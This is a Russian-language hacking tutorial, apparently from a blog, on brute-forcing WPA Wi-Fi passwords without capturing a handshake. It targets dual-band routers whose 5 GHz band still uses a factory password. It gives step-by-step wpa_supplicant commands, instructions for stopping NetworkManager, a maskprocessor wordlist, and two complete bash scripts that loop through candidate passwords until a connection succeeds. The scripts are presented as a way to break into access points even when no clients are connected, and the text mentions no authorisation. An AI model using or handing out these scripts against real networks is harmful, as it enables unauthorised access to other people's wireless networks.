Брут-форс ключей для ненастроенных сетей на 5 ГГц
При анализе больших объёмов раскрытых ключей для беспроводных точек доступа (в том числе с программой Router Scan by Stas'M), было сделано одно интересное наблюдение: многие владельцы двухдиапазонных ТД не догадываются о существовании второго диапазона на 5 ГГц. В зависимости от модели роутера, второй диапазон на 5 ГГц может быть включён или отключён по умолчанию. Если он включён по умолчанию, то диапазон на 5 ГГц имеет свой собственный дефолтный пароль. Эти пароли построены по одному принципу, который зависит от модели роутера. Например, для всех роутеров одной модели могут быть восемь заглавных букв.
Возможно ли брутфорсить подключение Wi-Fi?
Да, можно не захватывать рукопожатия, а просто подбирать пароли к беспроводной точке доступа. Причём, сделать это намного проще — даже не нужны никакие специальные программы. Но это никто и никогда не использует, поскольку невероятно низкая скорость. Максимально скорость, при тестировании одной сетевой картой, достигает 15×60×24=21600 кандидатов паролей в сутки. При этом при взломе рукопожатия скорость на средней мобильной графической карте достигает 40 тысяч кандидатов паролей в секунду (!). При такой скорости за сутки можно перебрать 40000×60×60×24=2160021600 (это два миллиарда с хвостиком) кандидатов паролей. На сколько порядков различаются эти цифры мне считать уже лень.
Ну и тем не менее, запасной вариант никогда не будет лишним. Преимуществом подбора пароля напрямую, без захвата рукопожатия, является то, что возможен взлом точки доступа Wi-Fi даже если к ней никогда не подключаются клиенты.
Брутфорсить можно не только двухдиапазонный ТД с 5 ГГц. Брутфорсить можно любую точку доступа. Но если у ТД включён диапазон 5 ГГц с дефолтный названием сети, то почти наверняка там и заводской пароль. Эти пароли могут быть на каждом роутере разные, но алгоритм их генерирования для одной модели всегда один. Это отдельная задача — узнать модель роутера и собрать образцы паролей для неё, чтобы сгенерировать словарь с кандидатами в пароли. Для каждой модели роутера её нужно решать индивидуально, поэтому останавливаться на этом мы не будем. Перейдём непосредственно к механизму брутфорсинга.
Подключение к сети Wi-Fi из командной строки
Алгоритм брутфорсинга подключения Wi-Fi без захвата рукопожатий чрезвычайно прост:
- пытаемся подключиться с кандидатом в пароли
- проверяем, произошло ли подключение
- если подключения нет, то переходим к первому пункту с новым кандидатом в пароли
Самое главное уметь подключаться к Wi-Fi из командной строки. Давайте рассмотрим, как это делается. Нам нужен пакет wpa_supplicant.
В Kali Linux (а также Debian, Mint, Ubuntu) он ставится так:
sudo apt-get install wpasupplicant
А в BlackArch так:
sudo pacman -S wpa_supplicant --needed
У нас ничего не получиться, если мы не остановим (выгрузим / отключим) службу NetworkManager. В Kali Linux это делается так:
sudo service NetworkManager stop
А в BlackArch так:
sudo systemctl stop NetworkManager
Примечание, после отключения NetworkManager пропадёт Интернет!
Нам нужно сформировать конфигурационный файл. Делается это командой:
wpa_passphrase название_ТД пароль > конфигурационный_файл
К примеру, для ТД Kitty пароль 0805646143 и конфигурационный файл я хочу назвать wpa_Kitty.conf, тогда команда имеет следующий вид:
wpa_passphrase Kitty 0805646143 > wpa_Kitty.conf
Должен создаться файл с примерно таким содержимым:
network={ ssid="Kitty" #psk="0805646143" psk=2786b307599a29176f02e9c0d438ef5f7d0964fc14e34d9ca9808668190ccb88 }
Теперь нам нужно узнать имя беспроводного сетевого интерфейса. Это делается командой:
iw dev
В моём случае это wlp2s0:
У вас может быть другое. Поэтому во всех последующих командах заменяйте wlp2s0 на имя вашего беспроводного сетевого интерфейса.
Подключение к Wi-Fi из командной строки делается так:
sudo wpa_supplicant -B -i wlp2s0 -c wpa_Kitty.conf
Здесь -B означает перевести процесс в фон. После ключа -i wlp2s0 указывается имя беспроводного интерфейса. А после ключа -c wpa_Kitty.conf указывается конфигурационный файл.
Если что-то идёт не так, то эту же команду запускайте без ключа -B, чтобы посмотреть подробный её вывод.
Чтобы заработал Интернет, нужно выполнить ещё эту команду:
sudo dhclient wlp2s0
Но ещё до неё можно проверить, есть ли «коннект» командой:
iw dev wlp2s0 link
Если подключение произошло, то вывод будет как на скриншоте выше, т. е.
[mial@HackWare ~]$ iw dev wlp2s0 link Connected to 40:3d:ec:14:c8:68 (on wlp2s0) SSID: Kitty freq: 2412 RX: 76811 bytes (605 packets) TX: 1252 bytes (13 packets) signal: -71 dBm tx bitrate: 6.0 MBit/s bss flags: short-slot-time dtim period: 1 beacon int: 100
Если подключения нет, то вывод будет намного лаконичнее:
Not connected.
Брутфорс Wi-Fi без захвата рукопожатий
Переходим, собственно, к брутфорсу.
Давайте попробуем подключиться с заведомо неверным паролем:
[mial@HackWare ~]$ sudo wpa_supplicant -i wlp2s0 -c wpa_Kitty.conf Successfully initialized wpa_supplicant wlp2s0: SME: Trying to authenticate with 40:3d:ec:14:c8:68 (SSID='Kitty' freq=2412 MHz) wlp2s0: Trying to associate with 40:3d:ec:14:c8:68 (SSID='Kitty' freq=2412 MHz) wlp2s0: Associated with 40:3d:ec:14:c8:68 wlp2s0: CTRL-EVENT-DISCONNECTED bssid=40:3d:ec:14:c8:68 reason=15 wlp2s0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect wlp2s0: CTRL-EVENT-SSID-TEMP-DISABLED id=0 ssid="Kitty" auth_failures=1 duration=10 reason=WRONG_KEY
Отлично, если пароль неверный, то в выводе присутствует строка WRONG_KEY. Отфильтруем вывод:
sudo wpa_supplicant -i wlp2s0 -c wpa_Kitty.conf | grep 'WRONG_KEY'
Давайте создадим тестовый словарик:
maskprocessor pass?d?d?d?d > dict.txt
И куда-нибудь в нём вставим правильный пароль.
Теперь набросаем скриптик для автоматизации процесса (сохраните его в файл brut_wpa.sh):
#!/bin/bash FILE='dict.txt'; AP='Kitty'; Interface='wlp2s0'; while read -r line echo 'Тестируем пароль: '$line do wpa_passphrase $AP $line > wpa_$AP.conf t=`timeout 4 sudo wpa_supplicant -i $Interface -c wpa_$AP.conf | grep 'WRONG_KEY'` if [ -z "$t" ] then echo 'Пароль подобран. Это: '$line exit fi done <$FILE
Запускать так:
sudo sh brut_wpa.sh
Правильный пароль я разместил почти в самое начало, поэтому результат получил быстро:
Давайте рассмотрим скрипт поподробнее. Здесь в строках
FILE='dict.txt'; AP='Kitty'; Interface='wlp2s0';
Указываются, соответственно, файл словаря, название ТД и имя беспроводного интерфейса.
Используется сброс по таймауту timeout 4. Если уменьшать эту величину, то увеличивается вероятность ложных срабатываний. Если увеличивать, то уменьшается скорость перебора.
Кстати, ещё можно анализировать результаты не по ошибкам подключения, а искать удачные подключения:
sudo wpa_supplicant -i $Interface -c wpa_$AP.conf | grep 'completed'`
Тогда скрипт приобретает вид:
#!/bin/bash FILE='dict.txt'; AP='Kitty'; Interface='wlp2s0'; while read -r line echo 'Тестируем пароль: '$line do wpa_passphrase $AP $line > wpa_$AP.conf t=`timeout 4 sudo wpa_supplicant -i $Interface -c wpa_$AP.conf | grep 'completed'` if [ "$t" ] then echo 'Пароль подобран. Это: '$line exit fi done <$FILE
Скрипт хорошо работает:
Скорость аналогичная, но из-за проблем у ТД можно пропустить валидный пароль. С первым скриптом валидный пароль пропустить нельзя — но возможно ложное срабатывание на невалидный пароль.
Величину таймаута рекомендуется тестировать — вполне возможно, что для ТД, которую вы брутфорсите, оптимальной величиной будет не 4 секунды, а какое-то другое число.
Заключение
Описанная здесь альтернатива, несмотря на свои негативные характеристики (низкая скорость и необходимость всегда быть рядом со взламываемой ТД), имеет уникальное преимущество — возможен взлом без наличия клиентов у ТД, А при определённых обстоятельствах, когда удастся значительно сузить количество кандидатов в пароли, она может привести к успеху. Отдельно необходимо тестировать возможно ли увеличение скорости взлома при задействовании нескольких беспроводных сетевых интерфейсов.
Ещё одно интересное преимущество по сравнению с «традиционными» методами взлома — не требуется особенная Wi-Fi карта. Нам не нужен режим монитора и возможность делать инъекции. От нашей Wi-Fi карты требуется только одно — возможность подключаться к беспроводным точкам доступа, а это умеет делать абсолютно любая из них.
Связанные статьи:
- WiFi-autopwner 2: инструкция по использованию и обзор новых функций (85.8%)
- Быстрый, простой и рабочий способ обхода Captive Portal (hotspot с авторизацией на web-интерфейсе) (84%)
- WiFi-autopwner: скрипт для автоматического поиска и аудита Wi-Fi сетей с низкой безопасностью (82.3%)
- Решение проблемы: Reaver показывает WPS пин, но не показывает пароль WPA-PSK (82.3%)
- Автоматизированная атака Pixie Dust: получение ПИНов и паролей Wi-Fi без ввода команд (82.3%)
- Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД (RANDOM - 9.1%)